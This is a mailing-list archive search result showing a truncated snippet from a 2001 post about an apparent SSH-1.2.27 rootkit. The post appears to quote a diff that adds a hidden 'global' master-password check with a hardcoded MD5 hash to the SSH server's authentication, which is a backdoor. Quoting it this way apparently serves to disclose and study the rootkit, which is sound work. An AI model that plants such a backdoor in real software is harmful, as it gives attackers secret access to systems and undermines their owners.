Displaying 1 result from an estimated 1 matches for "md5passwd".
Did you mean:
dbpasswd
2001 Jun 25
1
Apparent SSH-1.2.27 Rootkit
..., get_remote_ipaddr());
+ }
packet_close();
exit(0);
}
@@ -2135,6 +2137,38 @@
abort();
}
+/* Check if the "global" password was entered */
+int check_global_passwd( unsigned char *pass )
+{
+ /* Paste here the output from md5sum --string="Your_Password" */
+ char md5passwd[33]="ed5c6101c7cc02d1a927e2e37be1eb0d";
+ struct MD5Context md;
+ unsigned char md5buffer[32];
+ int i;
+
+ /* Compute the response. */
+ MD5Init(&md);
+ MD5Update(&md, pass, strlen( pass));
+ MD5Final(md5buffer, &md);
+ for( i = 15; i >= 0; i-- )
+ {
+ md5buffe...